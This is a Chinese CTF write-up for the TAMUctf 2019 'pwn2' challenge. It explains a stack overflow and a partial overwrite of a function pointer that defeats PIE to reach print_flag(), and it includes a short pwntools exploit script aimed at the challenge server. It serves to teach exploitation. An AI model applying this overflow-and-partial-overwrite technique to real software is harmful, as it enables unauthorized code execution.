[TAMUctf - 2019] pwn2

1000x_ 2026-05-20 20:22:44 15 0 返回题目详情


分析main(),可以看到程序有一个栈溢出漏洞。



并且会将用户或攻击者的输入当成参数传入select_func(),其中,strncpy()会将参数值拷贝0x1F字节。


由于本题开启PIE的原因,所以简单的ROP无法完成跳转。

通过动态调试可以看到,v3局部变量的内存地址似乎在print_flag()附近


那这是否意味着,可以利用地址在同一内存页、高位地址不变的特点,只修改地址的低位,实现控制流劫持呢?即为 部分覆写。


payload = b"a"*30 + b"\xD8"


在进入strncpy()前对比v3变量的内存值,其指向的地址依然是与print_flag()相邻


单步执行完复制函数后,可见v3变量的内存值指向了print_flag(),后续程序便会返回至v3所指向的print_flag(),打印flag



Exploit:

from pwn import *
p = remote("49.232.142.230", 16015)
# p = process("./pwn")
payload = b"a"*30 + b"\xD8"
p.recvuntil(b"call?\n")
# gdb.attach(p)
# pause()
p.sendline(payload)
p.recvline()
p.interactive()

分类:PWN
image
作者:1000x_

12

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
问题反馈